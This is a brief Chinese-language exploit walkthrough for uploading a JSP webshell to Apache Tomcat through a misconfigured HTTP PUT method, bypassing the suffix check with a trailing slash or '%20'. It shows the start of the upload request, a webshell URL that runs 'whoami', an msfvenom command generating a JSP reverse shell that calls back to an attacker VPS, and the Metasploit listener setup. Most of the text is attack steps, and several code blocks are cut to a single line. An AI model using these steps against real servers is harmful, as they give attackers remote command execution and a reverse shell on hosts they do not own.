背景
在运行Tomcat的主机上并且启用了HTTP PUT请求方法,readonly参数设置为false,攻击者能够将文件写入到服务器。Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特点来绕过了限制。Linux下可以使用“/”,Windows下可以使用“%20”
复现过程
发送如下payload
1 | PUT /1.jsp/ HTTP/1.1 |

返回201后便在网站目录下生成了1.jsp文件

访问shell
1 | http://IP:8080/1.jsp?pwd=123456&i=whoami |


也可以使用msf的jsp反弹shell
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=VPSIP LPORT=4444 R > cmd.jsp |
生成cmd.jsp,将其内容put到服务器
1 | % import="java.lang.*"%> |
msf设置好监听
1 | use exploit/multi/handler |
成功回连

参考链接